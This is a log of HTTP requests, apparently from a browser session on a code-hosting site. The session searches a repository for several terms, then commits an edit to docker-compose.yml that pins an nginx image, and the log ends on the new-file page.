{"method": "GET", "target": "/alice/tools/pulls?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=docker-compose.yml&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=install-script.sh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=%2Fbin%2Fsh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/----------------.de1a9813.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-yaml_dist_index_js.4f1c0b18.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=bbe5223a9a4f84e7c3d7206f4bdd062239e8309b&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
